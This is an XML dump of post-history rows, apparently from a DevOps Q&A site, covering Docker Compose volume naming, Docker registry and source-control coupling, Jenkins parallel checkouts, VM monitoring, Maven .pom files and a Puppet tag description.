  <row Id="10444" PostHistoryTypeId="2" PostId="3329" RevisionGUID="50801ff8-1328-4ca2-b9e2-5ce5a6c70eee" CreationDate="2018-02-11T15:18:50.447" UserId="5879" Text="When defining named volumes in `docker-compose.yml`, their names are prepended with their parent folder name. This causes a problem when scripts outside of docker compose have to interact with them. The question is, what is the best way to deal with this?&#xD;&#xA;&#xD;&#xA;An example scenario would include the following `docker-compose.yml`:&#xD;&#xA;&#xD;&#xA;    version: &quot;3&quot;&#xD;&#xA;    services:&#xD;&#xA;      nginx:&#xD;&#xA;        build: ./nginx&#xD;&#xA;        container_name: nginx&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;80:80&quot;&#xD;&#xA;        volumes:&#xD;&#xA;          - jekyll-data:/usr/share/nginx/html:ro&#xD;&#xA;    &#xD;&#xA;    networks:&#xD;&#xA;      backend:&#xD;&#xA;    &#xD;&#xA;    volumes:&#xD;&#xA;      jekyll-data:&#xD;&#xA;&#xD;&#xA;Where the `jekyll-data` named volume is populated by the following bash script:&#xD;&#xA;&#xD;&#xA;    docker run \&#xD;&#xA;      --name helper \&#xD;&#xA;      --volume=&quot;parent_folder_jekyll-data:/web&quot; \&#xD;&#xA;      -it busybox \&#xD;&#xA;      true&#xD;&#xA;    docker cp jekyll/web/. helper:/web&#xD;&#xA;    docker rm helper&#xD;&#xA;&#xD;&#xA;In the above case, `parent_folder` is the name of the parent folder. This means that moving the contents to a different folder would break the application. Is there a proper way to deal with this situation?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10445" PostHistoryTypeId="1" PostId="3329" RevisionGUID="50801ff8-1328-4ca2-b9e2-5ce5a6c70eee" CreationDate="2018-02-11T15:18:50.447" UserId="5879" Text="How to deal with docker compose's naming convention of named volumes" ContentLicense="CC BY-SA 3.0" />
  <row Id="10446" PostHistoryTypeId="3" PostId="3329" RevisionGUID="50801ff8-1328-4ca2-b9e2-5ce5a6c70eee" CreationDate="2018-02-11T15:18:50.447" UserId="5879" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10447" PostHistoryTypeId="5" PostId="3329" RevisionGUID="6bb58780-7430-4f33-92e9-8d480027cef6" CreationDate="2018-02-11T17:23:10.290" UserId="5879" Comment="Added output of docker volume ls" Text="When defining named volumes in `docker-compose.yml`, their names are prepended with their parent folder name. This causes a problem when scripts outside of docker compose have to interact with them. The question is, what is the best way to deal with this?&#xD;&#xA;&#xD;&#xA;An example scenario would include the following `docker-compose.yml`:&#xD;&#xA;&#xD;&#xA;    version: &quot;3&quot;&#xD;&#xA;    services:&#xD;&#xA;      nginx:&#xD;&#xA;        build: ./nginx&#xD;&#xA;        container_name: nginx&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;80:80&quot;&#xD;&#xA;        volumes:&#xD;&#xA;          - jekyll-data:/usr/share/nginx/html:ro&#xD;&#xA;    &#xD;&#xA;    networks:&#xD;&#xA;      backend:&#xD;&#xA;    &#xD;&#xA;    volumes:&#xD;&#xA;      jekyll-data:&#xD;&#xA;&#xD;&#xA;Where the `jekyll-data` named volume is populated by the following bash script:&#xD;&#xA;&#xD;&#xA;    docker run \&#xD;&#xA;      --name helper \&#xD;&#xA;      --volume=&quot;parent_folder_jekyll-data:/web&quot; \&#xD;&#xA;      -it busybox \&#xD;&#xA;      true&#xD;&#xA;    docker cp jekyll/web/. helper:/web&#xD;&#xA;    docker rm helper&#xD;&#xA;&#xD;&#xA;In the above case, `parent_folder` is the name of the parent folder. This means that moving the contents to a different folder would break the application. Is there a proper way to deal with this situation?&#xD;&#xA;&#xD;&#xA;The abridged output of `docker volume ls` where unnamed volumes have been removed:&#xD;&#xA;&#xD;&#xA;    DRIVER              VOLUME NAME&#xD;&#xA;    local               flaskthymedata_grafana-data&#xD;&#xA;    local               flaskthymedata_influxdb-data&#xD;&#xA;    local               flaskthymedata_postgres-data&#xD;&#xA;    local               veleda_grafana-data&#xD;&#xA;    local               veleda_influxdb-data&#xD;&#xA;    local               veleda_jekyll-cache&#xD;&#xA;    local               veleda_jekyll-data&#xD;&#xA;    local               veleda_postgres-data&#xD;&#xA;    local               veledaio_grafana-data&#xD;&#xA;    local               veledaio_influxdb-data&#xD;&#xA;    local               veledaio_jekyll-cache&#xD;&#xA;    local               veledaio_jekyll-data&#xD;&#xA;    local               veledaio_postgres-data&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10448" PostHistoryTypeId="6" PostId="3328" RevisionGUID="63cb610f-44d2-4236-a946-a8d51dc25fe3" CreationDate="2018-02-11T17:24:49.203" UserId="3766" Comment="added a tag" Text="&lt;docker&gt;&lt;security&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10449" PostHistoryTypeId="24" PostId="3328" RevisionGUID="63cb610f-44d2-4236-a946-a8d51dc25fe3" CreationDate="2018-02-11T17:24:49.203" Comment="Proposed by 3766 approved by 210 edit id of 615" ContentLicense="CC BY-SA 3.0" />
  <row Id="10450" PostHistoryTypeId="2" PostId="3330" RevisionGUID="65bbfaf9-eeec-49e7-9b2d-8f4c3acf6218" CreationDate="2018-02-11T18:58:16.703" UserId="210" Text="What about creating docker volumes yourself instead of letting docker to that for you? https://docs.docker.com/engine/reference/commandline/volume_create/&#xD;&#xA;&#xD;&#xA;If one creates docker volumes yourself then the parent folder will not be automatically concatenated." ContentLicense="CC BY-SA 3.0" />
  <row Id="10452" PostHistoryTypeId="2" PostId="3331" RevisionGUID="64c91aa6-df01-4b93-be31-9bb14809731b" CreationDate="2018-02-11T20:29:39.883" UserId="4175" Text="I don't see a point.&#xD;&#xA;&#xD;&#xA;An external attacker (who has access to the host) can easily find where the files are - he only has to look at the last file system layer and will have them presented right there for him.&#xD;&#xA;&#xD;&#xA;An internal attacker (who gains access to the container through a misconfigured part of the app or whatever) should will also rather easily find them by looking through the process table at `/proc` and noting the CWDs. &#xD;&#xA;&#xD;&#xA;Attacking the image might be easier with a fixed location, as the attacker only has to add another FS layer, overwriting that directory with his own application. But then, if you did not secure your image store, it does not matter anyways what else you do.&#xD;&#xA;&#xD;&#xA;So... I'd say the convenience of a common location is good, and little to no security would be gained; and if, then only security by obscurity, which does not count." ContentLicense="CC BY-SA 3.0" />
  <row Id="10453" PostHistoryTypeId="2" PostId="3332" RevisionGUID="d936c310-f9c7-4de4-9ad0-944899185ee8" CreationDate="2018-02-12T06:10:15.560" UserId="6473" Text="Dan is close.  I think the easy way to describe the difference is that the two have different customers.  The customer of the walking skeleton is the dev (and ops) team, in that it implements the simplest thing from each of the elements of the architecture and strings them together in a working way.  For example, it has a front end, it has a backend, it has a database, and it can move null betwween the three layers of the arhitecture.  It can be deployed in production; but from a user perspective it doesn't really *do* anything.&#xD;&#xA;&#xD;&#xA;In contrast, the customer of the MVP is, well, the end user of the product.  It's the simplest slice of functionality that can satisfy the core payoff/value for the user.  The MVP is then the smallest amount of value that can be delivered that demonstrates that the application is worthwhile.   Often this is completely the opposite of a walking skeleton.  A common approach is a 'concierge' MVP, where the steps are manually performed behind say a simple landing page or google form, with the results sent to the user over email." ContentLicense="CC BY-SA 3.0" />
  <row Id="10454" PostHistoryTypeId="2" PostId="3333" RevisionGUID="6c01193e-d286-4c43-9c23-9d9e76aff1f3" CreationDate="2018-02-12T07:55:30.403" UserId="3531" Text="Although this is a working solution (I use it myself), there some drawbacks for running Docker in a Kubernetes pod by mounting `/var/run/docker.sock`&#xD;&#xA;&#xD;&#xA;Mostly the fact you are working with Docker containers outside the control of Kubernetes.&#xD;&#xA;&#xD;&#xA;Another suggested solution I found is using a **side-car** container in your pod. See [A Case for Docker-in-Docker on Kubernetes][1]. There are two parts to it where the proposed solution is in [part 2][2].&#xD;&#xA;&#xD;&#xA;I hope this helps.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://applatix.com/case-docker-docker-kubernetes-part/&#xD;&#xA;  [2]: https://applatix.com/case-docker-docker-kubernetes-part-2/" ContentLicense="CC BY-SA 3.0" />
  <row Id="10455" PostHistoryTypeId="5" PostId="3331" RevisionGUID="19e4254c-0e0f-4df0-9e59-a7b749096a31" CreationDate="2018-02-12T07:56:05.043" UserId="4175" Comment="deleted 7 characters in body" Text="I don't see a point.&#xD;&#xA;&#xD;&#xA;An external attacker (who has access to the host) can easily find where the files are - he only has to look at the last file system layer and will have them presented right there for him.&#xD;&#xA;&#xD;&#xA;An internal attacker (who gains access to the container through a misconfigured part of the app or whatever) will also rather easily find them by looking through the process table at `/proc` and noting the CWDs. &#xD;&#xA;&#xD;&#xA;Attacking the image might be easier with a fixed location, as the attacker only has to add another FS layer, overwriting that directory with his own application. But then, if you did not secure your image store, it does not matter anyways what else you do.&#xD;&#xA;&#xD;&#xA;So... I'd say the convenience of a common location is good, and little to no security would be gained; and if, then only security by obscurity, which does not count." ContentLicense="CC BY-SA 3.0" />
  <row Id="10456" PostHistoryTypeId="2" PostId="3334" RevisionGUID="d341315d-6cf5-4aa5-83e1-8d21d7a4ff30" CreationDate="2018-02-12T13:21:00.217" UserId="6153" Text="Does anyone know of a locally hostable web front end to my docker registry that is as close as possible to [hub.docker.com](https://hub.docker.com/)?&#xD;&#xA;&#xD;&#xA;I am currently using [konradkleine/docker-registry-frontend:v2](https://hub.docker.com/r/konradkleine/docker-registry-frontend/) which is great, but we need something closer to [hub.docker.com](https://hub.docker.com/) since we are all very used to hub.docker.com at my organization." ContentLicense="CC BY-SA 3.0" />
  <row Id="10457" PostHistoryTypeId="1" PostId="3334" RevisionGUID="d341315d-6cf5-4aa5-83e1-8d21d7a4ff30" CreationDate="2018-02-12T13:21:00.217" UserId="6153" Text="Docker web front end similar to hub.docker.com" ContentLicense="CC BY-SA 3.0" />
  <row Id="10458" PostHistoryTypeId="3" PostId="3334" RevisionGUID="d341315d-6cf5-4aa5-83e1-8d21d7a4ff30" CreationDate="2018-02-12T13:21:00.217" UserId="6153" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;registry&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10459" PostHistoryTypeId="50" PostId="2891" RevisionGUID="9ec0b241-e811-4fc7-847f-139af1fecf01" CreationDate="2018-02-12T13:50:27.770" UserId="-1" />
  <row Id="10460" PostHistoryTypeId="5" PostId="3334" RevisionGUID="ad7dfb80-68e8-4c91-82d8-4fd4fe91dbb2" CreationDate="2018-02-12T14:06:04.833" UserId="6153" Comment="after investigation I was mistaken by what I wanted to accomplish.  The new question address the underlying problem better." Text="What are the best practices (if any) for coupling a docker image registry with a SCM service (such as bitbucket)?&#xD;&#xA;&#xD;&#xA;I know a docker registry can live in [artifactory](https://www.jfrog.com/confluence/display/RTF/Docker+Registry), but how can I assure that the two are as tightly coupled as possible?  &#xD;&#xA;&#xD;&#xA;For example I am worried that without due-diligence from developers the latest Docker image in the registry will not reflect the current state of the Dockerfile in SCM or vice-versa.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10461" PostHistoryTypeId="4" PostId="3334" RevisionGUID="ad7dfb80-68e8-4c91-82d8-4fd4fe91dbb2" CreationDate="2018-02-12T14:06:04.833" UserId="6153" Comment="after investigation I was mistaken by what I wanted to accomplish.  The new question address the underlying problem better." Text="Coupling docker registry and source control" ContentLicense="CC BY-SA 3.0" />
  <row Id="10462" PostHistoryTypeId="6" PostId="3334" RevisionGUID="ad7dfb80-68e8-4c91-82d8-4fd4fe91dbb2" CreationDate="2018-02-12T14:06:04.833" UserId="6153" Comment="after investigation I was mistaken by what I wanted to accomplish.  The new question address the underlying problem better." Text="&lt;docker&gt;&lt;git&gt;&lt;scm&gt;&lt;registry&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10463" PostHistoryTypeId="5" PostId="3334" RevisionGUID="b6f525a2-8f55-4669-9456-d3cf31e38a50" CreationDate="2018-02-12T14:25:01.247" UserId="6153" Comment="added 122 characters in body" Text="What are the best practices (if any) for coupling a docker image registry with a SCM service (such as bitbucket)?&#xD;&#xA;&#xD;&#xA;I know a docker registry can live in [artifactory](https://www.jfrog.com/confluence/display/RTF/Docker+Registry), but how can I assure that the two are as tightly coupled as possible?  &#xD;&#xA;&#xD;&#xA;For example I am worried that without due-diligence from developers the latest Docker image in the registry will not reflect the current state of the Dockerfile in SCM or vice-versa.  Also it is imperative that we can always trace back to the base Dockerfile (that we made) for any image in the registry.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10464" PostHistoryTypeId="50" PostId="1768" RevisionGUID="1eac98d5-9dd3-4b2f-8e39-6eae29303958" CreationDate="2018-02-12T14:51:26.360" UserId="-1" />
  <row Id="10465" PostHistoryTypeId="2" PostId="3335" RevisionGUID="c3115284-dc86-4360-8481-bf21f52276e3" CreationDate="2018-02-12T15:21:32.420" UserId="6478" Text="I'm in the process of building some custom Linux images using HashiCorp's Packer, which will later be deployed to Azure using HashiCorp's Terraform. The VMs created from these images will need to have a set of users created; in this particular case I'm concerning myself with user accounts for employees that may need to ssh into these VMs.&#xD;&#xA;&#xD;&#xA;For this kind of configuration, does it make more sense to add these user accounts to the base image in the Packer script, or to add them when the VM is created via Terraform? It seems to me that handling it in Packer makes more sense, but are there reasons not to do it there?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10466" PostHistoryTypeId="1" PostId="3335" RevisionGUID="c3115284-dc86-4360-8481-bf21f52276e3" CreationDate="2018-02-12T15:21:32.420" UserId="6478" Text="In the HashiCorp stack, where's the appropriate place to add users?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10467" PostHistoryTypeId="3" PostId="3335" RevisionGUID="c3115284-dc86-4360-8481-bf21f52276e3" CreationDate="2018-02-12T15:21:32.420" UserId="6478" Text="&lt;terraform&gt;&lt;linux&gt;&lt;azure&gt;&lt;packer&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10468" PostHistoryTypeId="50" PostId="1508" RevisionGUID="76b63596-f3c4-4b8e-a4b5-67557adc6727" CreationDate="2018-02-12T15:55:59.603" UserId="-1" />
  <row Id="10472" PostHistoryTypeId="50" PostId="1654" RevisionGUID="5e7732a0-7073-4ba1-ad84-a0fac1252264" CreationDate="2018-02-13T00:09:25.780" UserId="-1" />
  <row Id="10474" PostHistoryTypeId="2" PostId="3338" RevisionGUID="ddc17f6a-f97d-4514-aaf3-5726711b267b" CreationDate="2018-02-13T09:26:30.927" UserId="6486" Text="## Introduction ##&#xD;&#xA;We have a multibranch pipeline project. The build configuration is defined by a jenkinsfile. The system consists of one master and a couple of agents.&#xD;&#xA;&#xD;&#xA;The stages are run in parallel, and for each one we do a checkout of the repository.&#xD;&#xA;&#xD;&#xA;See attached file below.&#xD;&#xA;&#xD;&#xA;## The Problem ##&#xD;&#xA;is that the size of the workspace accumulates greatly as the amount of branches increases.&#xD;&#xA;&#xD;&#xA;## The Solution #1 ##&#xD;&#xA;Periodic cleanup of the workspace. A custom script will be written. &#xD;&#xA;Something like this one:&#xD;&#xA;[https://gist.github.com/rb2k/8372402][1]&#xD;&#xA;&#xD;&#xA;## The Solution #2 ##&#xD;&#xA;One checkout per job and node. Thus each parallel stage will execute one executable instance of the same repository. For me personaly this is the preferred method, although more complex than solution #1.&#xD;&#xA;&#xD;&#xA;pseudocode:&#xD;&#xA;&#xD;&#xA;    stage(&quot;Build&quot;) {&#xD;&#xA;        try {&#xD;&#xA;            parallel builds&#xD;&#xA;        } catch (err) {&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    def build(predef) {&#xD;&#xA;        return {&#xD;&#xA;            node() {&#xD;&#xA;                checkout_repository(${env.NODE_NAME})&#xD;&#xA;                Execute build&#xD;&#xA;                ...&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    def checkout_repository(node){&#xD;&#xA;        No checkout for this node&#xD;&#xA;            Flag that we are checking out a repository on node (think ~semaphore)&#xD;&#xA;            Cheking out ..&#xD;&#xA;            Flag that repository exist on node&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;## The Question ##&#xD;&#xA;&#xD;&#xA; &#xD;&#xA; 1. What are the cons in solution #2&#xD;&#xA; 2. Does it follow the jenkins way of doing it. Or this to much freestyle?&#xD;&#xA;&#xD;&#xA;The job:&#xD;&#xA;[![The Job][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/XlNNr.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="10475" PostHistoryTypeId="1" PostId="3338" RevisionGUID="ddc17f6a-f97d-4514-aaf3-5726711b267b" CreationDate="2018-02-13T09:26:30.927" UserId="6486" Text="One Checkout When Running Parallel Stages In Jenkins" ContentLicense="CC BY-SA 3.0" />
  <row Id="10476" PostHistoryTypeId="3" PostId="3338" RevisionGUID="ddc17f6a-f97d-4514-aaf3-5726711b267b" CreationDate="2018-02-13T09:26:30.927" UserId="6486" Text="&lt;jenkins&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10479" PostHistoryTypeId="2" PostId="3339" RevisionGUID="2d1377fc-61f3-4dc1-992a-f3a8d05eb918" CreationDate="2018-02-13T11:43:22.687" UserId="4289" Text="Currently I am using the HashiCorp stack (Packer, Terraform) and Ansible, to generate Immutable Infrastructure and Infrastructure as Code.&#xD;&#xA;&#xD;&#xA;This builds a Virtual Machine from a base image, provisions it and applies it to some VSphere servers.&#xD;&#xA;&#xD;&#xA;One of the issues I'm having is knowing when a VM is down or unresponsive.&#xD;&#xA;&#xD;&#xA;What would be a good way of monitoring VMs?&#xD;&#xA;&#xD;&#xA;I've looked a bit at Consul and Prometheus and am thinking that that is the way forward?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10480" PostHistoryTypeId="1" PostId="3339" RevisionGUID="2d1377fc-61f3-4dc1-992a-f3a8d05eb918" CreationDate="2018-02-13T11:43:22.687" UserId="4289" Text="Monitoring immutable infrastructure virtual machines" ContentLicense="CC BY-SA 3.0" />
  <row Id="10481" PostHistoryTypeId="3" PostId="3339" RevisionGUID="2d1377fc-61f3-4dc1-992a-f3a8d05eb918" CreationDate="2018-02-13T11:43:22.687" UserId="4289" Text="&lt;monitoring&gt;&lt;immutable-servers&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10482" PostHistoryTypeId="2" PostId="3340" RevisionGUID="1473adcf-cae5-4422-a5eb-b0925e171053" CreationDate="2018-02-13T13:14:38.763" UserId="4130" Text="&gt; I've looked a bit at Consul and Prometheus and am thinking that that is the way forward?&#xD;&#xA;&#xD;&#xA;In short, yes.&#xD;&#xA;&#xD;&#xA;Consul is designed exactly for this - it will run health checks against all of your services that you define and can detect when things go down. However, what it does not do it alert when things do go down, it is more designed for automatically taking things out of circulation when they are unhealthy. But it does give you a single point you can query for the health of your infrastructure which you can then alert on manually somehow or combine it with [consul-alerts](https://github.com/AcalephStorage/consul-alerts) to do this for you.&#xD;&#xA;&#xD;&#xA;Prometheus is geared towards metrics and can monitor the health of your applications in ways that consul is not really well suited. It has its only able to alert when defined events occur and you can tune it to monitor exactly what you require.&#xD;&#xA;&#xD;&#xA;You might also want to consider external checks like what services such as [panopta](https://www.panopta.com/) offer  (this is just an example, there are many alternatives out there) to check public endpoints to make sure they are still working from an external perspective." ContentLicense="CC BY-SA 3.0" />
  <row Id="10483" PostHistoryTypeId="2" PostId="3341" RevisionGUID="8400bc6e-8f2c-46a2-9f2f-8139870f7a76" CreationDate="2018-02-13T13:20:56.880" UserId="4130" Text="I am less familiar with what Azure offers, but other cloud providers offer a way to manage users external to the VMs the provide (normally IAM permissions).&#xD;&#xA;&#xD;&#xA;I would not bake user into the system but look for an external way to manage them. This allows you to more easily remove users that leave your company or add new users that join.&#xD;&#xA;&#xD;&#xA;If Azure doesn't provide a way I would look at setting up Active Directory or LDAP to manage user permissions to hosts. But I would be shocked if you needed to do this." ContentLicense="CC BY-SA 3.0" />
  <row Id="10484" PostHistoryTypeId="5" PostId="1915" RevisionGUID="2052b119-fe76-4a26-b800-a3a711fc4235" CreationDate="2018-02-13T13:38:54.367" UserId="6375" Comment="Format content for easy reading and better understanding" Text="This seems not so easy to google because results about the normal ***pom.xml*** are overwhelming.&#xD;&#xA;&#xD;&#xA;So, I just have learned there are also Maven artefact related files with .pom extension. This seems to be some special thing about how repositories work - a meta-file for an artefact?&#xD;&#xA;&#xD;&#xA;For example, if you check folder contents for an artefact in your local repository, you will find these files in any artefact folder I guess, just like in the path below.&#xD;&#xA;&#xD;&#xA;    \.m2\repository\org\json\json\20090211\json-20090211.pom&#xD;&#xA;&#xD;&#xA;Contents:&#xD;&#xA;&#xD;&#xA;    &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&#xD;&#xA;    &lt;project xmlns=&quot;http://maven.apache.org/POM/4.0.0&quot;&#xD;&#xA;      xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;&#xD;&#xA;      xsi:schemaLocation=&quot;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd&quot;&gt;&#xD;&#xA;      &lt;!-- this POM is released under an Apache 2.0 license--&gt;&#xD;&#xA;      &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt;&#xD;&#xA;      &lt;groupId&gt;org.json&lt;/groupId&gt;&#xD;&#xA;      &lt;artifactId&gt;json&lt;/artifactId&gt;&#xD;&#xA;      &lt;version&gt;20090211&lt;/version&gt;&#xD;&#xA;      &lt;name&gt;JSON (JavaScript Object Notation)&lt;/name&gt;&#xD;&#xA;      &lt;description&gt;&#xD;&#xA;        JSON (JavaScript Object Notation) is a lightweight data-interchange format.&#xD;&#xA;        It is easy for humans to read and write. It is easy for machines to parse and generate.&#xD;&#xA;        It is based on a subset of the JavaScript Programming Language, Standard ECMA-262 3rd Edition&#xD;&#xA;        - December 1999. JSON is a text format that is completely language independent but uses&#xD;&#xA;        conventions that are familiar to programmers of the C-family of languages, including C, C++, C#,&#xD;&#xA;        Java, JavaScript, Perl, Python, and many others.&#xD;&#xA;        These properties make JSON an ideal data-interchange language.&#xD;&#xA;      &lt;/description&gt;&#xD;&#xA;      &lt;url&gt;http://www.json.org/java/index.html&lt;/url&gt;&#xD;&#xA;      &lt;licenses&gt;&#xD;&#xA;        &lt;license&gt;&#xD;&#xA;          &lt;name&gt;provided without support or warranty&lt;/name&gt;&#xD;&#xA;          &lt;url&gt;http://www.json.org/license.html&lt;/url&gt;&#xD;&#xA;        &lt;/license&gt;&#xD;&#xA;      &lt;/licenses&gt;&#xD;&#xA;    &#xD;&#xA;      &lt;organization&gt;&#xD;&#xA;        &lt;name&gt;JSON&lt;/name&gt;&#xD;&#xA;        &lt;url&gt;http://json.org/&lt;/url&gt;&#xD;&#xA;      &lt;/organization&gt;&#xD;&#xA;    &#xD;&#xA;      &lt;dependencies/&gt;&#xD;&#xA;    &lt;/project&gt;&#xD;&#xA;&#xD;&#xA;**Question:** What is exactly this file and is it possible to generate this file as part of a Maven build? Or do we have to create these files manually as part of the codebase ?&#xD;&#xA;&#xD;&#xA;(In the context of what I am doing, I use generic Artifactory deployment plugin for Bamboo to deploy artefacts there but this ***.pom*** file is not being created automatically).&#xD;&#xA;&#xD;&#xA;UPD I have solved my problem by using a copy of the pom.xml as this pom file and it works but I consider this can not be the correct way." ContentLicense="CC BY-SA 3.0" />
  <row Id="10485" PostHistoryTypeId="24" PostId="1915" RevisionGUID="2052b119-fe76-4a26-b800-a3a711fc4235" CreationDate="2018-02-13T13:38:54.367" Comment="Proposed by 6375 approved by 707 edit id of 618" ContentLicense="CC BY-SA 3.0" />
  <row Id="10486" PostHistoryTypeId="5" PostId="569" RevisionGUID="01bbffdc-d309-4248-b38d-00dae745734e" CreationDate="2018-02-13T13:49:03.703" UserId="6375" Comment="Adding content of wikipedia for understanding tag" Text="***Puppet (software)***&#xD;&#xA;&#xD;&#xA;https://en.wikipedia.org/wiki/Puppet_(software)&#xD;&#xA;&#xD;&#xA;https://github.com/puppetlabs/puppet&#xD;&#xA;&#xD;&#xA;https://puppet.com&#xD;&#xA;&#xD;&#xA;***Overview***&#xD;&#xA;&#xD;&#xA;Puppet is designed to manage the configuration of Unix-like and Microsoft Windows systems declaratively. The user describes system resources and their state, either using Puppet's declarative language or a Ruby DSL (domain-specific language). This information is stored in files called &quot;Puppet manifests&quot;. Puppet discovers the system information via a utility called Facter, and compiles the Puppet manifests into a system-specific catalog containing resources and resource dependency, which are applied against the target systems. Any actions taken by Puppet are then reported.&#xD;&#xA;&#xD;&#xA;Puppet consists of a custom declarative language to describe system configuration, which can be either applied directly on the system, or compiled into a catalog and distributed to the target system via client–server paradigm (using a REST API), and the agent uses system specific providers to enforce the resource specified in the manifests. The resource abstraction layer enables administrators to describe the configuration in high-level terms, such as users, services and packages without the need to specify OS specific commands (such as rpm, yum, apt).&#xD;&#xA;&#xD;&#xA;Puppet is model-driven, requiring limited programming knowledge to use.[4]&#xD;&#xA;&#xD;&#xA;Puppet comes in two flavors, Puppet Enterprise and Open Source Puppet. In addition to providing functionalities of Open Source Puppet, Puppet Enterprise also provides GUI, API and command line tools for node management.&#xD;&#xA;&#xD;&#xA;***Architecture***&#xD;&#xA;&#xD;&#xA;Puppet usually follows client-server architecture. The client is known as agent and the server is known as master. It can also be used as a stand-alone application.&#xD;&#xA;&#xD;&#xA;Puppet Master is installed on one or more servers and the systems that need to be configured install Puppet Agent. Puppet Agents communicate with the server and fetch configuration instructions. The Agent then applies the configuration on the system and sends the status report to the server.[5] Devices can run Puppet Agent as a daemon, that can be triggered periodically as a cron job or can be run manually whenever needed.&#xD;&#xA;&#xD;&#xA;Puppet architecture consists of:&#xD;&#xA;&#xD;&#xA;***Configuration language:*** In Puppet, items to be configured are termed as ‘resources’. Since Puppet follows declarative language, it just needs to specify ‘what’ action needs to be performed on the resources. The action is implemented by declaring three things for every resource: its type, title and a list of attributes whose state needs to be configured. Puppet code is written into files called Manifests. These are stored on the server and contain configuration instructions for each client.[6] The format for writing manifest files is stated below.&#xD;&#xA;&#xD;&#xA;    type { 'title':&#xD;&#xA;      attribute =&gt; value&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    user { 'harry':&#xD;&#xA;      ensure =&gt; present,&#xD;&#xA;      uid    =&gt; '1000',&#xD;&#xA;      shell  =&gt; '/bin/bash',&#xD;&#xA;      home   =&gt; '/var/tmp'&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;***Resource abstraction:*** Puppet provides resource abstraction by providing the ability to configure resources on different platforms without worrying about the platform dependencies. For example, if an user wants to install a package on three different platforms then they don't have to worry about the required package type of given platform and its dependencies, Puppet takes care of it by using Facter. Facter is the piece of information which agents provide to the server describing what kind of operating system is being used, their IP, hostname, etc. Indirectly, it is a way of informing Puppet as to what procedure needs to be followed for software configuration in its case; depending on the facts being rendered by Facter. For any given type of resource, there are a number of providers. Providers have package management tools corresponding to different platforms/operating systems. These providers define how resources have to be managed.&#xD;&#xA;&#xD;&#xA;***Transaction:*** Following are the steps of execution:&#xD;&#xA;&#xD;&#xA; 1. Every agent send across Facter to master.&#xD;&#xA; 2. Puppet maintains a graphical representation of the list of resources and their interdependencies; depicting the order in which they need to be configured in a ‘catalog’ for every client. Master sends this catalog to the client.&#xD;&#xA; 3. Configuration already present on the system is known as actual state and the configuration mentioned in manifest file is known as desired state. Agent applies configuration on the system only when actual state is not same as desired state. The clause of applying a state change only if needed is called as ‘idempotency’, which is the key feature of Puppet.&#xD;&#xA; 4. The result of the applying the configuration is sent across to the server.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10487" PostHistoryTypeId="24" PostId="569" RevisionGUID="01bbffdc-d309-4248-b38d-00dae745734e" CreationDate="2018-02-13T13:49:03.703" Comment="Proposed by 6375 approved by 707, 40 edit id of 616" ContentLicense="CC BY-SA 3.0" />
  <row Id="10488" PostHistoryTypeId="2" PostId="3342" RevisionGUID="c861b4ec-94af-4a2c-9c39-3c379a05e465" CreationDate="2018-02-13T15:46:17.530" UserId="6153" Text="I was able to get an answer over here [forums.docker.com](https://forums.docker.com/t/coupling-docker-registry-with-scm/46199) Credit goes to dmaze.&#xD;&#xA;&#xD;&#xA;Set up some sort of automated build system (“continuous integration” in the current trendy term). Docker is sufficiently mainstream at this point that any of the cloud-based or locally-installed CI systems can do it.&#xD;&#xA;&#xD;&#xA;In your Dockerfile, use a LABEL to record the source of the build. That probably includes the commit hash from distributed source control (git, Mercurial), the branch name if relevant, any release tags if present, and possibly details like the timestamp of the last commit. docker history and docker inspect should be able to show these.&#xD;&#xA;&#xD;&#xA;When you docker push your images, push them at least twice, with the commit hash and with the branch name as the “version” part (quay.io/mycorp/imagename:123abc7, quay.io/mycorp/imagename:dmaze-test). If release tags are readily available, the CI system should push images with these tags too.&#xD;&#xA;&#xD;&#xA;Make sure the Dockerfile is committed to source control, of course, and try to have a stable path to get any external dependencies that may be present.&#xD;&#xA;&#xD;&#xA;Now you can go both ways: given an arbitrary commit, if your CI system built it, you can docker run the image it built; and if you have an image, you can find where exactly in source history it came from, and git checkout or hg up to that specific version, and docker build a near-identical copy of it yourself.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
